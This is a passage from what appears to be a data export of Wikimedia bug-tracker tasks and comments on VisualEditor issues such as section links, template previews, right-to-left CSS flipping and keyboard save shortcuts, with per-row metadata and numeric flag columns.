+**URL**: https://en.wikipedia.org/w/index.php?title=New%20Zealand%20English&diff=0&oldid=123",Medium,50.0,1373273160,1373328454.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-4qpkfgh5ks6gaaj22qxs,task_description,resolved,True,c1,3,True,False,True,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+243061,"VisualEditor: Edit section links below a diff should point to the rev shown, not the (older) rev the diff compares against","This is now deployed and appears to be working as expected in production, according to my testing. Marking as fixed. Please re-open if you find otherwise.",,,1373328454,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4qpkfgh5ks6gaaj22qxs,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+243052,"VisualEditor: Edit section links below a diff should point to the rev shown, not the (older) rev the diff compares against","Change 72544 merged by jenkins-bot:
+mw.ViewPageTarget.init: Only bind edit section links on view page
+
+https://gerrit.wikimedia.org/r/72544",,,1373325416,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4qpkfgh5ks6gaaj22qxs,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243045,"VisualEditor: Edit section links below a diff should point to the rev shown, not the (older) rev the diff compares against","Change 72544 had a related patch set uploaded by Krinkle:
+mw.ViewPageTarget: Don't bind edit section links on non-view page
+
+https://gerrit.wikimedia.org/r/72544",,,1373303244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4qpkfgh5ks6gaaj22qxs,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+243037,"VisualEditor: Edit section links below a diff should point to the rev shown, not the (older) rev the diff compares against","(In reply to comment #0)
+> See:
+> https://en.wikipedia.org/w/index.
+> php?title=New%20Zealand%20English&diff=0&oldid=123
+
+I *think* this will get fixed by gerrit 72070 - Timo?",,,1373301852,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4qpkfgh5ks6gaaj22qxs,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1
+52916,"VisualEditor: Preview the result of the transclusion dialog whilst it's be edited (before ""Apply changes"")","Taken from English Wikipedia
+
+***
+
+[[Template:Convert]] is actually a good example of where TemplateData falls over and hits the ground. The meaning of the numbered parameters changes depending on how many of them there are and whether the entry is text or a number. For example, each of the following are valid:
+{{convert|3.21|kg|lb}}
+3.21 kilograms (7.1 lb)
+{{convert|3.21|mi|3}}
+3.21 miles (5.166 km)
+{{convert|60|to|170|kg|lb}}
+60 to 170 kilograms (130 to 370 lb)
+{{convert|60|+/-|10|kg|lb}}
+60 ± 10 kilograms (130 ± 22 lb)
+{{convert|6|ft|5|in|m}}
+6 feet 5 inches (1.96 m)
+In those examples, parameter 3 is variously 1) The output unit, 2) The number of significant figures, 3) The upper limit of a range, 4) The measurement uncertainty, 5) The number of inches in foot-inches measurement. Now write a TemplateData description for parameter 3 (or 2 or 4 or 5)? Convert is used on 500,000+ pages, so it is not like it can simply be redesigned at this point. That said, if someone can see the values of each parameter in the transclusion window then it would still be pretty easy to figure out which one they need to edit. I would suggest that the transclusion editor needs a way to preview the parameter contents (even if just a snippet) without having to click on each parameter. Dragons flight (talk) 17:57, 5 July 2013 (UTC)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373241780,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-77heb24pfspzzrzifyb6,task_description,open,True,c1,3,False,False,,1,,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,1,0,1,1,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+52910,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Reproduce:
+
+1. Go to this page: https://he.wikipedia.org/wiki/%D7%A9%D7%9C%D7%9E%D7%94_%D7%A4%D7%99%D7%9C%D7%91%D7%A8 (Image is floating on the left)
+
+2. Edit the page. The image is now stretched all across the content area, pushing the text down.
+
+This is a 'no picture existing' template. In the Hebrew wiki: https://he.wikipedia.org/wiki/%D7%AA%D7%91%D7%A0%D7%99%D7%AA:%D7%90%D7%99%D7%9F_%D7%AA%D7%9E%D7%95%D7%A0%D7%94
+
+It is probably an issue of the template code, but since it's used very often, it would be great if someone can help find the problem in this so we can fix the template itself.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50395",Medium,50.0,1373235720,1389062817.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-e3ikdtgrrubm3iohiewm,task_description,resolved,True,c1,3,False,False,False,0,,1,1,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1
+242239,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Change 105639 merged by jenkins-bot:
+CSSJanus: Account for attribute selectors in brace lookahead
+
+https://gerrit.wikimedia.org/r/105639",,,1393088190,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+242229,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Change 105640 merged by jenkins-bot:
+Force CSSJanus to not flip image alignment classes
+
+https://gerrit.wikimedia.org/r/105640",,,1389062756,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,27,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+242225,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Change 105639 had a related patch set uploaded by Catrope:
+Support attribute selectors in CSSJanus
+
+https://gerrit.wikimedia.org/r/105639",,,1388994313,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,27,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+242222,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Change 105640 had a related patch set uploaded by Mooeypoo:
+Force CSSJanus to not flip image alignment classes
+
+https://gerrit.wikimedia.org/r/105640",,,1388991749,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,27,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+242219,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"I found the remaining issue - since the page (and transclusion div) is set to dir='rtl' the ""mw-halign-left"" class float:left turned to float:right. 
+
+This is quite odd, since these classes have /*@noflip*/ on them.",,,1388943484,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,26,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0
+242215,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,"Ah! Partially. The image is no longer spread wide, but it floats the wrong way - it should float to the left, but it floats to the right inside VE.",,,1388941911,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,False,,,26,,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+242211,VisualEditor: CE CSS munging issue with specific (highly used) hewiki template,Was this fixed by the fix for bug 53436?,,,1388919466,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e3ikdtgrrubm3iohiewm,task_subcomment,,True,c1,3,True,,,26,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+52900,VisualEditor: Label the edit summary box as such,"A user points out that much of our communication both external and internal of the wiki instruct people to leave an edit summary, but the save dialog doesn't name this field as such, which might make it difficult for people to make a match between the instructions and the actual save dialog.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1373231700,1383280539.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-opmsqzsgromr47nfku4r,task_description,resolved,True,c1,3,True,False,False,0,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+241773,VisualEditor: Label the edit summary box as such,"This was done, ages ago.",,,1383280539,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-opmsqzsgromr47nfku4r,task_subcomment,,True,c1,3,True,,,17,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+52898,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"If you have the [[Hands-on universe|Hands-On Universe]] link, it will report that Hands-On universe doesn't exist (which it does). This is probably because it matches on the different case: Hands-On Universe and then stops comparing.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52596",Medium,50.0,1373231160,1377809024.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-delfcnij7a43xvmu5qyt,task_description,resolved,True,c1,3,True,False,True,0,,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+241714,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,This was fixed as part of the tweaks to the link inspector earlier this month.,,,1377809024,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+241709,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"Per discussion at Bug 52596 the presence of a redirect with a title of <=3 characters /may/ prevent an article with that title (but differently capitalised) appearing in the suggestions list.
+
+For example the existence of the [[Fra]] redirect may be what is preventing the [[FRA]] article appearing in the list (something is, and the redirect is one theory).",,,1376076347,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,False,,,5,,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+241704,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"Forgot to add that redirects that differ other than by capitalisation are shown - e.g. [[Elizabeth II of the United Kingdom]], a redirect to [[Elizabeth II]], appears in the suggestions list.",,,1376073277,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1
+241700,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,*** Bug 52251 has been marked as a duplicate of this bug. ***,,,1376073139,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241695,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"This also happens with redirects. 
+For example, [[Github]] is a redirect to [[GitHub]] but [[github]] is shown as not existing.
+
+See attachment 13013 to bug 52251",,,1376073087,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,False,,,5,,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+241689,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"(In reply to comment #1)
+> Other examples: [[A]], [[B]], [[To]], [[Hi]]
+
+I filed this as bug 51013.",,,1373356246,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+241683,VisualEditor: Link dialog lies about existence of page due to case insensitive matching,"Other examples: [[A]], [[B]], [[To]], [[Hi]]",,,1373299773,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-delfcnij7a43xvmu5qyt,task_subcomment,,True,c1,3,True,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1
+52897,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","In the old editor, you could hit ctrl-alt-s to save the page. In the new editor the save action is not reachable using the keyboard.
+
+We could just add ctrl-s/cmd-s to the Save button ?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=38042
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50047",Medium,50.0,1373228820,1392849015.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0
+241655,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Change 110434 merged by jenkins-bot:
+Use accesskey=s on the save buttons
+
+https://gerrit.wikimedia.org/r/110434",,,1392846136,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241650,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Change 113319 abandoned by Esanders:
+Add save shortcut to dialog
+
+Reason:
+ALT+S is MediaWiki only, abandoning in favour of Idf4fa31b98d1fa9e
+
+https://gerrit.wikimedia.org/r/113319",,,1392396699,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+241645,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Change 113319 had a related patch set uploaded by Alex Monk:
+Add save shortcut to dialog
+
+https://gerrit.wikimedia.org/r/113319",,,1392342481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,32,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241642,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Change 110434 had a related patch set uploaded by Alex Monk:
+Use accesskey=s on the save buttons
+
+https://gerrit.wikimedia.org/r/110434",,,1391110776,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+241639,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Trying to use accesskey=s like action=edit will make this conflict with FlaggedRevs, which doesn't appear on action=edit but does on veaction=edit (with display:none).",,,1391108156,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,True,,,30,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+241637,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","I don't have any particularly strong views about the right way to do this, but I really want to be able to open the page in VisualEditor, make a small change to the text, and save the page, without ever taking my hands off the keyboard.",,,1378762522,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+241635,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog",*** Bug 53693 has been marked as a duplicate of this bug. ***,,,1378223819,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241630,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog",*** Bug 52745 has been marked as a duplicate of this bug. ***,,,1377814470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241626,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","Having shortcuts for Show preview/Review your changes, and for Save page (two different buttons, so if one shortcut is used for both, VE needs to check whether it is on the main page or in a dialog box), would certainly be helpful. To quote the WMF Deputy Director: ""It's worth noting that VisualEditor has its own set of keyboard shortcuts, which can help with common tasks such as linking (which I actually already find faster in VE) ...""
+
+And yes, there is also the accessibility issue - anything that can *only* be done by mouse is, by definition, an immovable problem to a physically disabled person who can only use a keyboard.",,,1374687986,,PHID-USER-hirrhium5ibrtof34lwa,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,3,,0,1,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+241622,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","(In reply to comment #2)
+> In the old editor, I would simply use TAB to reach the edit summary, type my
+> edit summary and press ENTER to activate the ""Save page"" button and save. If
+> I wanted to mark the edit minor, then I could type my edit summary, press TAB,
+> SPACE, and then ENTER to ""Save page"".
+
+Yeah... I split this out to bug 51918.",,,1374630651,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+241616,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog",This seems similar to bug 38042. They're not identical but definitely related and they could possibly be usefully fixed at the same time.,,,1374417351,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-aq6bcd3lx5mpkayh6jkq,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+241609,"VisualEditor: Ctrl-Alt-s / ⌘-Opt-s should trigger the save dialog, and the save button when inside said dialog","**sk8er_97456** wrote:
+
